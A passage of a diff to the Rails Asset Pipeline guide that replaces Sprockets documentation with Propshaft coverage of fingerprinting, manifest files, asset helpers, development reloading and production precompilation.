+filename. This ensures that when the file content changes, its digest—and
+consequently its filename—also changes. This mechanism is crucial for caching
+assets effectively, as the browser will always load the updated version of an
+asset when its content changes, thereby improving performance. For static or
+infrequently changed content, this provides an easy way to tell whether two
+versions of a file are identical, even across different servers or deployment
+dates.
+
+#### Asset Digesting
+
+As mentioned in the [Asset Organization section](#asset-organization), in
+Propshaft, all assets from the paths configured in `config.assets.paths` are
+available for serving and will be copied into the `public/assets` directory.
+
+When fingerprinted, an asset filename  like `styles.css` is renamed to
+`styles-a1b2c3d4e5f6.css`. This ensures that if `styles.css` is updated, the
+filename changes as well, compelling the browser to download the latest version
+instead of using a potentially outdated cached copy.
+
+#### Manifest Files
+
+In Propshaft, the `.manifest.json` file is automatically generated during the
+asset precompilation process. This file maps original asset filenames to their
+fingerprinted versions, ensuring proper cache invalidation and efficient asset
+management. Located in the `public/assets` directory, the `.manifest.json` file
+helps Rails resolve asset paths at runtime, allowing it to reference the correct
+fingerprinted files.
+
+The `.manifest.json` includes entries for main assets like `application.js` and
+`application.css` as well as other files, such as images. Here's an example of
+what the JSON might look like:
+
+```json
+{
+  "application.css": "application-6d58c9e6e3b5d4a7c9a8e3.css",
+  "application.js": "application-2d4b9f6c5a7c8e2b8d9e6.js",
+  "logo.png": "logo-f3e8c9b2a6e5d4c8.png",
+  "favicon.ico": "favicon-d6c8e5a9f3b2c7.ico"
+}
 ```
 
-NOTE: The `sass-rails` gem is automatically used for CSS compression if included
-in the Gemfile and no `config.assets.css_compressor` option is set.
-
-
-### Main Features
-
-The first feature of the pipeline is to concatenate assets, which can reduce the
-number of requests that a browser makes to render a web page. Web browsers are
-limited in the number of requests that they can make in parallel, so fewer
-requests can mean faster loading for your application.
-
-Sprockets concatenates all JavaScript files into one master `.js` file and all
-CSS files into one master `.css` file. As you'll learn later in this guide, you
-can customize this strategy to group files any way you like. In production,
-Rails inserts an SHA256 fingerprint into each filename so that the file is
-cached by the web browser. You can invalidate the cache by altering this
-fingerprint, which happens automatically whenever you change the file contents.
-
-The second feature of the asset pipeline is asset minification or compression.
-For CSS files, this is done by removing whitespace and comments. For JavaScript,
-more complex processes can be applied. You can choose from a set of built in
-options or specify your own.
-
-The third feature of the asset pipeline is it allows coding assets via a
-higher-level language, with precompilation down to the actual assets. Supported
-languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by
-default.
-
-### What is Fingerprinting and Why Should I Care?
-
-Fingerprinting is a technique that makes the name of a file dependent on the
-contents of the file. When the file contents change, the filename is also
-changed. For content that is static or infrequently changed, this provides an
-easy way to tell whether two versions of a file are identical, even across
-different servers or deployment dates.
-
 When a filename is unique and based on its content, HTTP headers can be set to
 encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment,
 or in web browsers) to keep their own copy of the content. When the content is
 updated, the fingerprint will change. This will cause the remote clients to
-request a new copy of the content. This is generally known as _cache busting_.
-
-The technique Sprockets uses for fingerprinting is to insert a hash of the
-content into the name, usually at the end. For example a CSS file `global.css`
-
-```
-global-908e25f4bf641868d8683022a5b62f54.css
-```
-
-This is the strategy adopted by the Rails asset pipeline.
-
-Rails' old strategy was to append a date-based query string to every asset linked
-with a built-in helper. In the source the generated code looked like this:
-
-```
-/stylesheets/global.css?1309495796
-```
-
-The query string strategy has several disadvantages:
-
-1. **Not all caches will reliably cache content where the filename only differs by
-query parameters**
-
-    [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/),
- "...avoiding a querystring for cacheable resources". He found that in this
-case 5-20% of requests will not be cached. Query strings in particular do not
-work at all with some CDNs for cache invalidation.
-
-2. **The file name can change between nodes in multi-server environments.**
-
-    The default query string in Rails 2.x is based on the modification time of
-the files. When assets are deployed to a cluster, there is no guarantee that the
-timestamps will be the same, resulting in different values being used depending
-on which server handles the request.
-
-3. **Too much cache invalidation**
-
-    When static assets are deployed with each new release of code, the mtime
-(time of last modification) of _all_ these files changes, forcing all remote
-clients to fetch them again, even when the content of those assets has not changed.
-
-Fingerprinting fixes these problems by avoiding query strings, and by ensuring
-that filenames are consistent based on their content.
-
-Fingerprinting is enabled by default for both the development and production
-environments. You can enable or disable it in your configuration through the
-`config.assets.digest` option.
-
-More reading:
-
-* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
-* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
-
-
-How to Use the Asset Pipeline
------------------------------
-
-In previous versions of Rails, all assets were located in subdirectories of
-`public` such as `images`, `javascripts` and `stylesheets`. With the asset
-pipeline, the preferred location for these assets is now the `app/assets`
-directory. Files in this directory are served by the Sprockets middleware.
-
-Assets can still be placed in the `public` hierarchy. Any assets under `public`
-will be served as static files by the application or web server when
-`config.public_file_server.enabled` is set to true. You should use `app/assets` for
-files that must undergo some pre-processing before they are served.
-
-In production, Rails precompiles these files to `public/assets` by default. The
-precompiled copies are then served as static assets by the web server. The files
-in `app/assets` are never served directly in production.
-
-### Controller Specific Assets
-
-When you generate a scaffold or a controller, Rails also generates a JavaScript
-file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
-Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
-for that controller. Additionally, when generating a scaffold, Rails generates
-the file scaffolds.css (or scaffolds.scss if `sass-rails` is in the
-`Gemfile`.)
-
-For example, if you generate a `ProjectsController`, Rails will also add a new
-file at `app/assets/javascripts/projects.coffee` and another at
-`app/assets/stylesheets/projects.scss`. By default these files will be ready
-to use by your application immediately using the `require_tree` directive. See
-[Manifest Files and Directives](#manifest-files-and-directives) for more details
-on require_tree.
-
-You can also opt to include controller specific stylesheets and JavaScript files
-only in their respective controllers using the following:
-
-`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag
-params[:controller] %>`
-
-When doing this, ensure you are not using the `require_tree` directive, as that
-will result in your assets being included more than once.
-
-WARNING: When using asset precompilation, you will need to ensure that your
-controller assets will be precompiled when loading them on a per page basis. By
-default .coffee and .scss files will not be precompiled on their own. See
-[Precompiling Assets](#precompiling-assets) for more information on how
-precompiling works.
-
-NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript.
-If you are using Mac OS X or Windows, you have a JavaScript runtime installed in
-your operating system. Check [ExecJS](https://github.com/rails/execjs#readme) documentation to know all supported JavaScript runtimes.
-
-You can also disable generation of controller specific asset files by adding the
-following to your `config/application.rb` configuration:
-
-```ruby
-  config.generators do |g|
-    g.assets false
-  end
-```
-
-### Asset Organization
-
-Pipeline assets can be placed inside an application in one of three locations:
-`app/assets`, `lib/assets` or `vendor/assets`.
-
-* `app/assets` is for assets that are owned by the application, such as custom
-images, JavaScript files or stylesheets.
-
-* `lib/assets` is for your own libraries' code that doesn't really fit into the
-scope of the application or those libraries which are shared across applications.
-
-* `vendor/assets` is for assets that are owned by outside entities, such as
-code for JavaScript plugins and CSS frameworks. Keep in mind that third party
-code with references to other files also processed by the asset Pipeline (images,
-stylesheets, etc.), will need to be rewritten to use helpers like `asset_path`.
-
-WARNING: If you are upgrading from Rails 3, please take into account that assets
-under `lib/assets` or `vendor/assets` are available for inclusion via the
-application manifests but no longer part of the precompile array. See
-[Precompiling Assets](#precompiling-assets) for guidance.
-
-#### Search Paths
-
-When a file is referenced from a manifest or a helper, Sprockets searches the
-three default asset locations for it.
-
-The default locations are: the `images`, `javascripts` and `stylesheets`
-directories under the `app/assets` folder, but these subdirectories
-are not special - any path under `assets/*` will be searched.
+request a new copy of the content. This is generally known as cache busting.
 
-For example, these files:
+#### Digested Assets in Views
 
-```
-app/assets/javascripts/home.js
-lib/assets/javascripts/moovinator.js
-vendor/assets/javascripts/slider.js
-vendor/assets/somepackage/phonebox.js
-```
-
-would be referenced in a manifest like this:
-
-```js
-//= require home
-//= require moovinator
-//= require slider
-//= require phonebox
-```
-
-Assets inside subdirectories can also be accessed.
-
-```
-app/assets/javascripts/sub/something.js
-```
-
-is referenced as:
-
-```js
-//= require sub/something
-```
-
-You can view the search path by inspecting
-`Rails.application.config.assets.paths` in the Rails console.
-
-Besides the standard `assets/*` paths, additional (fully qualified) paths can be
-added to the pipeline in `config/application.rb`. For example:
-
-```ruby
-config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
-```
+You can reference digested assets in your views using standard Rails asset
+helpers like `asset_path`, `image_tag`, `javascript_include_tag`,
+`stylesheet_link_tag` and others.
 
-Paths are traversed in the order they occur in the search path. By default,
-this means the files in `app/assets` take precedence, and will mask
-corresponding paths in `lib` and `vendor`.
-
-It is important to note that files you want to reference outside a manifest must
-be added to the precompile array or they will not be available in the production
-environment.
-
-#### Using Index Files
-
-Sprockets uses files named `index` (with the relevant extensions) for a special
-purpose.
-
-For example, if you have a jQuery library with many modules, which is stored in
-`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as
-the manifest for all files in this library. This file could include a list of
-all the required files in order, or a simple `require_tree` directive.
-
-The library as a whole can be accessed in the application manifest like so:
-
-```js
-//= require library_name
-```
-
-This simplifies maintenance and keeps things clean by allowing related code to
-be grouped before inclusion elsewhere.
-
-### Coding Links to Assets
-
-Sprockets does not add any new methods to access your assets - you still use the
-familiar `javascript_include_tag` and `stylesheet_link_tag`:
+For example, in your layout file, you can include a stylesheet like this:
 
 ```erb
 <%= stylesheet_link_tag "application", media: "all" %>
-<%= javascript_include_tag "application" %>
 ```
 
-If using the turbolinks gem, which is included by default in Rails, then
-include the 'data-turbolinks-track' option which causes turbolinks to check if
-an asset has been updated and if so loads it into the page:
+If you're using the [`turbo-rails`](https://github.com/hotwired/turbo-rails) gem
+(which is included by default in Rails), you can include the `data-turbo-track`
+option. This causes Turbo to check if an asset has been updated and, if so,
+reload it into the page:
 
 ```erb
-<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %>
-<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>
+<%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
 ```
 
-In regular views you can access images in the `public/assets/images` directory
-like this:
+You can access images in the `app/assets/images` directory like this:
 
 ```erb
 <%= image_tag "rails.png" %>
 ```
 
-Provided that the pipeline is enabled within your application (and not disabled
-in the current environment context), this file is served by Sprockets. If a file
-exists at `public/assets/rails.png` it is served by the web server.
+When the asset pipeline is enabled, Propshaft will serve this file. If a file
+exists at `public/assets/rails.png`, it will be served by the web server.
 
-Alternatively, a request for a file with an SHA256 hash such as
-`public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png`
-is treated the same way. How these hashes are generated is covered in the [In
-Production](#in-production) section later on in this guide.
+Alternatively, if you are using fingerprinted assets (e.g.,
+`rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png`),
+Propshaft will also serve these correctly. The fingerprint is automatically
+applied during the precompilation process.
 
-Sprockets will also look through the paths specified in `config.assets.paths`,
-which includes the standard application paths and any paths added by Rails
-engines.
-
-Images can also be organized into subdirectories if required, and then can be
-accessed by specifying the directory's name in the tag:
+Images can be organized into subdirectories, and you can reference them by
+specifying the directory in the tag:
 
 ```erb
 <%= image_tag "icons/rails.png" %>
 ```
 
-WARNING: If you're precompiling your assets (see [In Production](#in-production)
-below), linking to an asset that does not exist will raise an exception in the
-calling page. This includes linking to a blank string. As such, be careful using
-`image_tag` and the other helpers with user-supplied data.
-
-#### CSS and ERB
-
-The asset pipeline automatically evaluates ERB. This means if you add an
-`erb` extension to a CSS asset (for example, `application.css.erb`), then
-helpers like `asset_path` are available in your CSS rules:
+Finally, you can reference an image in your CSS like:
 
 ```css
-.class { background-image: url(<%= asset_path 'image.png' %>) }
+background: url("/bg/pattern.svg");
 ```
 
-This writes the path to the particular asset being referenced. In this example,
-it would make sense to have an image in one of the asset load paths, such as
-`app/assets/images/image.png`, which would be referenced here. If this image is
-already available in `public/assets` as a fingerprinted file, then that path is
-referenced.
-
-If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -
-a method of embedding the image data directly into the CSS file - you can use
-the `asset_data_uri` helper.
+Propshaft will automatically convert this to:
 
 ```css
-#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+background: url("/assets/bg/pattern-2169cbef.svg");
 ```
 
-This inserts a correctly-formatted data URI into the CSS source.
-
-Note that the closing tag cannot be of the style `-%>`.
-
-#### CSS and Sass
+WARNING: If you're precompiling your assets (see [the Production
+section](#production)), linking to an asset that doesn't exist will raise an
+exception in the calling page. This includes linking to a blank string. Be
+careful when using `image_tag` and other helpers with user-supplied data. This
+ensures that the browser always fetches the correct version of the asset.
 
-When using the asset pipeline, paths to assets must be re-written and
-`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass,
-underscored in Ruby) for the following asset classes: image, font, video, audio,
-JavaScript and stylesheet.
+#### Digested Assets in JavaScript
 
-* `image-url("rails.png")` returns `url(/assets/rails.png)`
-* `image-path("rails.png")` returns `"/assets/rails.png"`
+In JavaScript, you need to manually trigger the asset transformation using the
+`RAILS_ASSET_URL` macro. Here’s an example:
 
-The more generic form can also be used:
-
-* `asset-url("rails.png")` returns `url(/assets/rails.png)`
-* `asset-path("rails.png")` returns `"/assets/rails.png"`
-
-#### JavaScript/CoffeeScript and ERB
-
-If you add an `erb` extension to a JavaScript asset, making it something such as
-`application.js.erb`, you can then use the `asset_path` helper in your
-JavaScript code:
-
-```js
-$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
-```
-
-This writes the path to the particular asset being referenced.
-
-Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb`
-extension (e.g., `application.coffee.erb`):
-
-```js
-$('#logo').attr src: "<%= asset_path('logo.png') %>"
-```
-
-### Manifest Files and Directives
-
-Sprockets uses manifest files to determine which assets to include and serve.
-These manifest files contain _directives_ - instructions that tell Sprockets
-which files to require in order to build a single CSS or JavaScript file. With
-these directives, Sprockets loads the files specified, processes them if
-necessary, concatenates them into one single file and then compresses them
-(based on value of `Rails.application.config.assets.js_compressor`). By serving
-one file rather than many, the load time of pages can be greatly reduced because
-the browser makes fewer requests. Compression also reduces file size, enabling
-the browser to download them faster.
-
-
-For example, a new Rails application includes a default
-`app/assets/javascripts/application.js` file containing the following lines:
-
-```js
-// ...
-//= require jquery
-//= require jquery_ujs
-//= require_tree .
+```javascript
+export default class extends Controller {
+  init() {
+    this.img = RAILS_ASSET_URL("/icons/trash.svg");
+  }
+}
 ```
 
-In JavaScript files, Sprockets directives begin with `//=`. In the above case,
-the file is using the `require` and the `require_tree` directives. The `require`
-directive is used to tell Sprockets the files you wish to require. Here, you are
-requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere
-in the search path for Sprockets. You need not supply the extensions explicitly.
-Sprockets assumes you are requiring a `.js` file when done from within a `.js`
-file.
-
-The `require_tree` directive tells Sprockets to recursively include _all_
-JavaScript files in the specified directory into the output. These paths must be
-specified relative to the manifest file. You can also use the
-`require_directory` directive which includes all JavaScript files only in the
-directory specified, without recursion.
-
-Directives are processed top to bottom, but the order in which files are
-included by `require_tree` is unspecified. You should not rely on any particular
-order among those. If you need to ensure some particular JavaScript ends up
-above some other in the concatenated file, require the prerequisite file first
-in the manifest. Note that the family of `require` directives prevents files
-from being included twice in the output.
-
-Rails also creates a default `app/assets/stylesheets/application.css` file
-which contains these lines:
+This will transform into:
 
-```css
-/* ...
-*= require_self
-*= require_tree .
-*/
+```javascript
+export default class extends Controller {
+  init() {
+    this.img = "/assets/icons/trash-54g9cbef.svg";
+  }
+}
 ```
 
-Rails creates both `app/assets/javascripts/application.js` and
-`app/assets/stylesheets/application.css` regardless of whether the
---skip-sprockets option is used when creating a new Rails application. This is
-so you can easily add asset pipelining later if you like.
+This ensures that the correct, digested file is used in your JavaScript code.
 
-The directives that work in JavaScript files also work in stylesheets
-(though obviously including stylesheets rather than JavaScript files). The
-`require_tree` directive in a CSS manifest works the same way as the JavaScript
-one, requiring all stylesheets from the current directory.
+If you’re using bundlers like [Webpack](https://webpack.js.org/) or
+[esbuild](https://esbuild.github.io/), you should let the bundlers handle the
+digesting process. If Propshaft detects that a file already has a digest in the
+filename (e.g., `script-2169cbef.js`), it will skip digesting the file again to
+avoid unnecessary reprocessing.
 
-In this example, `require_self` is used. This puts the CSS contained within the
-file (if any) at the precise location of the `require_self` call.
+For managing assets with [Import Maps](#importmap-rails), Propshaft ensures that
+assets referenced in the import map are appropriately handled and mapped to
+their digested paths during the precompilation process.
 
-NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import)
-instead of these Sprockets directives. When using Sprockets directives, Sass files exist within
-their own scope, making variables or mixins only available within the document they were defined in.
+#### Bypassing the Digest Step
 
-You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats.
+If you need to reference files that refer to each other—like a JavaScript file
+and its source map—and want to avoid the digesting process, you can pre-digest
+these files manually. Propshaft recognizes files with the pattern
+`-[digest].digested.js` as files that have already been digested and will
+preserve their stable file names.
 
-You can have as many manifest files as you need. For example, the `admin.css`
-and `admin.js` manifest could contain the JS and CSS files that are used for the
-admin section of an application.
+#### Excluding Directories from Digestion
 
-The same remarks about ordering made above apply. In particular, you can specify
-individual files and they are compiled in the order specified. For example, you
-might concatenate three CSS files together this way:
+You can exclude certain directories from the precompilation and digestion
+process by adding them to `config.assets.excluded_paths`. This is useful if, for
+example, you’re using `app/assets/stylesheets` as input to a compiler like [Dart
+Sass](https://sass-lang.com/), and you don’t want these files to be part of the
+asset load path.
 
-```js
-/* ...
-*= require reset
-*= require layout
-*= require chrome
-*/
+```ruby
+config.assets.excluded_paths = [Rails.root.join("app/assets/stylesheets")]
 ```
 
-### Preprocessing
-
-The file extensions used on an asset determine what preprocessing is applied.
-When a controller or a scaffold is generated with the default Rails gemset, a
-CoffeeScript file and a SCSS file are generated in place of a regular JavaScript
-and CSS file. The example used before was a controller called "projects", which
-generated an `app/assets/javascripts/projects.coffee` and an
-`app/assets/stylesheets/projects.scss` file.
-
-In development mode, or if the asset pipeline is disabled, when these files are
-requested they are processed by the processors provided by the `coffee-script`
-and `sass` gems and then sent back to the browser as JavaScript and CSS
-respectively. When asset pipelining is enabled, these files are preprocessed and
-placed in the `public/assets` directory for serving by either the Rails app or
-web server.
-
-Additional layers of preprocessing can be requested by adding other extensions,
-where each extension is processed in a right-to-left manner. These should be
-used in the order the processing should be applied. For example, a stylesheet
-called `app/assets/stylesheets/projects.scss.erb` is first processed as ERB,
-then SCSS, and finally served as CSS. The same applies to a JavaScript file -
-`app/assets/javascripts/projects.coffee.erb` is processed as ERB, then
-CoffeeScript, and served as JavaScript.
-
-Keep in mind the order of these preprocessors is important. For example, if
-you called your JavaScript file `app/assets/javascripts/projects.erb.coffee`
-then it would be processed with the CoffeeScript interpreter first, which
-wouldn't understand ERB and therefore you would run into problems.
-
-
-In Development
---------------
+This will prevent the specified directories from being processed by Propshaft
+while still allowing them to be part of the precompilation process.
 
-In development mode, assets are served as separate files in the order they are
-specified in the manifest file.
+Working with Propshaft
+----------------------
 
-This manifest `app/assets/javascripts/application.js`:
+From Rails 8 onwards, Propshaft is included by default. To use Propshaft, you
+need to configure it properly and organize your assets in a way that Rails can
+serve them efficiently.
 
-```js
-//= require core
-//= require projects
-//= require tickets
-```
-
-would generate this HTML:
-
-```html
-<script src="/assets/core.js?body=1"></script>
-<script src="/assets/projects.js?body=1"></script>
-<script src="/assets/tickets.js?body=1"></script>
-```
+### Setup
 
-The `body` param is required by Sprockets.
+Follow these steps for setting up Propshaft in your Rails application:
 
-### Runtime Error Checking
+1. Create a new Rails application:
 
-By default the asset pipeline will check for potential errors in development mode during
-runtime. To disable this behavior you can set:
+    ```bash
+    $ rails new app_name
+    ```
 
-```ruby
-config.assets.raise_runtime_errors = false
-```
+2. Organize your assets:
 
-When this option is true, the asset pipeline will check if all the assets loaded
-in your application are included in the `config.assets.precompile` list.
-If `config.assets.digest` is also true, the asset pipeline will require that
-all requests for assets include digests.
+    Propshaft expects your assets to be in the `app/assets` directory. You can
+    organize your assets into subdirectories like `app/assets/javascripts` for
+    JavaScript files, `app/assets/stylesheets` for CSS files, and
+    `app/assets/images` for images.
 
-### Raise an Error When an Asset is Not Found
+    For example, you can create a new JavaScript file in
+    `app/assets/javascripts`:
 
-If you are using sprockets-rails >= 3.2.0 you can configure what happens
-when an asset lookup is performed and nothing is found. If you turn off "asset fallback"
-then an error will be raised when an asset cannot be found.
-
-```ruby
-config.assets.unknown_asset_fallback = false
-```
+    ```javascript
+    // app/assets/javascripts/main.js
+    console.log("Hello, world!");
+    ```
 
-If "asset fallback" is enabled then when an asset cannot be found the path will be
-output instead and no error raised. The asset fallback behavior is enabled by default.
+    and a new CSS file in `app/assets/stylesheets`:
 
-### Turning Digests Off
+    ```css
+    /* app/assets/stylesheets/main.css */
+    body {
+      background-color: red;
+    }
+    ```
 
-You can turn off digests by updating `config/environments/development.rb` to
-include:
+3. Link assets in your application layout
 
-```ruby
-config.assets.digest = false
-```
+    In your application layout file (usually
+    `app/views/layouts/application.html.erb`), you can include your assets using
+    the `stylesheet_link_tag` and `javascript_include_tag` helpers:
 
-When this option is true, digests will be generated for asset URLs.
+    ```erb
+    <!-- app/views/layouts/application.html.erb -->
+    <!DOCTYPE html>
+    <html>
+      <head>
+        <title>MyApp</title>
+        <%= stylesheet_link_tag "main" %>
+      </head>
+      <body>
+        <%= yield %>
+        <%= javascript_include_tag "main" %>
+      </body>
+    </html>
+    ```
 
-### Turning Debugging Off
+    This layout includes the `main.css` stylesheet and `main.js` JavaScript file
+    in your application.
 
-You can turn off debug mode by updating `config/environments/development.rb` to
-include:
+4. Start the Rails server:
 
-```ruby
-config.assets.debug = false
-```
+    ```bash
+    $ bin/rails server
+    ```
 
-When debug mode is off, Sprockets concatenates and runs the necessary
-preprocessors on all files. With debug mode turned off the manifest above would
-generate instead:
+5. Preview your application:
 
-```html
-<script src="/assets/application.js"></script>
-```
+    Open your web browser and navigate to `http://localhost:3000`. You should
+    see your Rails application with the included assets.
 
-Assets are compiled and cached on the first request after the server is started.
-Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request
-overhead on subsequent requests - on these the browser gets a 304 (Not Modified)
-response.
+### Development
 
-If any of the files in the manifest have changed between requests, the server
-responds with a new compiled file.
+Rails and Propshaft are configured differently in development than in
+production, to allow rapid iteration without manual intervention.
 
-Debug mode can also be enabled in Rails helper methods:
+#### No Caching
 
-```erb
-<%= stylesheet_link_tag "application", debug: true %>
-<%= javascript_include_tag "application", debug: true %>
-```
+In development, Rails is configured to bypass asset caching. This means that
+when you modify assets (e.g., CSS, JavaScript), Rails will serve the most
+up-to-date version directly from the file system. There's no need to worry about
+versioning or file renaming because caching is skipped entirely. Browsers will
+automatically pull in the latest version each time you reload the page.
 
-The `:debug` option is redundant if debug mode is already on.
+#### Automatic Reloading of Assets
 
-You can also enable compression in development mode as a sanity check, and
-disable it on-demand as required for debugging.
+When using Propshaft on its own, it automatically checks for updates to assets
+like JavaScript, CSS, or images with every request. This means you can edit
+these files, reload the browser, and instantly see the changes without needing
+to restart the Rails server.
 
-In Production
--------------
+When using JavaScript bundlers such as [esbuild](https://esbuild.github.io/) or
+[Webpack](https://webpack.js.org/) alongside Propshaft, the workflow combines
+both tools effectively:
 
-In the production environment Sprockets uses the fingerprinting scheme outlined
-above. By default Rails assumes assets have been precompiled and will be
-served as static assets by your web server.
+- The bundler watches for changes in your JavaScript and CSS files, compiles
+  them into the appropriate build directory, and keeps the files up to date.
+- Propshaft ensures that the latest compiled assets are served to the browser
+  whenever a request is made.
 
-During the precompilation phase an SHA256 is generated from the contents of the
-compiled files, and inserted into the filenames as they are written to disk.
-These fingerprinted names are used by the Rails helpers in place of the manifest
-name.
+For these setups, running `./bin/dev` starts both the Rails server and the asset
+bundler's development server.
 
-For example this:
+In either case, Propshaft ensures that changes to your assets are reflected as
+soon as the browser page is reloaded, without requiring a server restart.
 
-```erb
-<%= javascript_include_tag "application" %>
-<%= stylesheet_link_tag "application" %>
-```
+#### Improving Performance with File Watchers
 
-generates something like this:
+In development, Propshaft checks if any assets have been updated before each
+request, using the application's file watcher (by default,
+`ActiveSupport::FileUpdateChecker`). If you have a large number of assets, you
+can improve performance by using the `listen` gem and configuring the following
+setting in `config/environments/development.rb`:
 
-```html
-<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
-<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
-rel="stylesheet" />
+```ruby
+config.file_watcher = ActiveSupport::EventedFileUpdateChecker
 ```
 
-NOTE: with the Asset Pipeline the `:cache` and `:concat` options aren't used
-anymore, delete these options from the `javascript_include_tag` and
-`stylesheet_link_tag`.
+This will reduce the overhead of checking for file updates and improve
+performance during development.
 
-The fingerprinting behavior is controlled by the `config.assets.digest`
-initialization option (which defaults to `true`).
+### Production
 
-NOTE: Under normal circumstances the default `config.assets.digest` option
-should not be changed. If there are no digests in the filenames, and far-future
-headers are set, remote clients will never know to refetch the files when their
-content changes.
+In production, Rails serves assets with caching enabled to optimize performance,
+ensuring that your application can handle high traffic efficiently.
 
-### Precompiling Assets
+#### Asset Caching and Versioning in Production
 
-Rails comes bundled with a task to compile the asset manifests and other
-files in the pipeline.
+As mentioned in the [Fingerprinting
+section](#fingerprinting-versioning-with-digest-based-urls) when the file
+content changes, its digest also changes, thus the browser uses the updated
+version of the file. Whereas, if the content remains the same, the browser will
+use the cached version.
 
-Compiled assets are written to the location specified in `config.assets.prefix`.
-By default, this is the `/assets` directory.
+#### Precompiling Assets
 
-You can call this task on the server during deployment to create compiled
-versions of your assets directly on the server. See the next section for
-information on compiling locally.
+In production, precompilation is typically run during deployment to ensure that
+the latest versions of the assets are served. Propshaft was explicitly not
+designed to provide full transpiler capabilities. However, it does offer an
+input -> output compiler setup that by default is used to translate `url(asset)`
+function calls in CSS to `url(digested-asset)` instead and source mapping
+comments likewise.
 
-The task is:
+To manually run precompilation you can use the following command:
 
 ```bash
-$ RAILS_ENV=production bin/rails assets:precompile
-```
-
-Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
-Add the following line to `Capfile`:
-
-```ruby
-load 'deploy/assets'
+$ RAILS_ENV=production rails assets:precompile
 ```
 
-This links the folder specified in `config.assets.prefix` to `shared/assets`.
-If you already use this shared folder you'll need to write your own deployment
-task.
+After doing this, all assets in the load path will be copied (or compiled when
+using [advanced asset management](#advanced-asset-management)) in the
+precompilation step and stamped with a digest hash.
 
-It is important that this folder is shared between deployments so that remotely
-cached pages referencing the old compiled assets still work for the life of
-the cached page.
+Additionally, you can set `ENV["SECRET_KEY_BASE_DUMMY"]` to trigger the use of a
+randomly generated `secret_key_base` that’s stored in a temporary file. This is
+useful when precompiling assets for production as part of a build step that
+otherwise does not need access to the production secrets.
 
-The default matcher for compiling files includes `application.js`,
-`application.css` and all non-JS/CSS files (this will include all image assets
-automatically) from `app/assets` folders including your gems:
-
-```ruby
-[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
-/application.(css|js)$/ ]
-```
-
-NOTE: The matcher (and other members of the precompile array; see below) is
-applied to final compiled file names. This means anything that compiles to
-JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and
-`.scss` files are **not** automatically included as they compile to JS/CSS.
-
-If you have other manifests or individual stylesheets and JavaScript files to
-include, you can add them to the `precompile` array in `config/initializers/assets.rb`:
-
-```ruby
-Rails.application.config.assets.precompile += %w( admin.js admin.css )
+```bash
+$ RAILS_ENV=production SECRET_KEY_BASE_DUMMY=1 rails assets:precompile
 ```
 
-NOTE. Always specify an expected compiled filename that ends with .js or .css,
-even if you want to add Sass or CoffeeScript files to the precompile array.
+By default, assets are served from the `/assets` directory.
 
-The task also generates a `.sprockets-manifest-md5hash.json` (where `md5hash` is
-an MD5 hash) that contains a list with all your assets and their respective
-fingerprints. This is used by the Rails helper methods to avoid handing the
-mapping requests back to Sprockets. A typical manifest file looks like:
+WARNING: Running the precompile command in development generates a marker file
+named `.manifest.json`, which tells the application that it can serve the
+compiled assets. As a result, any changes you make to your source assets won't
+be reflected in the browser until the precompiled assets are updated. If your
+assets stop updating in development mode, the solution is to remove the
+`.manifest.json` file located in `public/assets/`.  You can use the `rails
+assets:clobber` command to delete all your precompiled assets and the
+`.manifest.json` file. This will force Rails to recompile the assets on the fly,
+reflecting the latest changes.
 
-```ruby
-{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383,
-"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="},
-"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994,
-"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="},
-"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629,
-"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="},
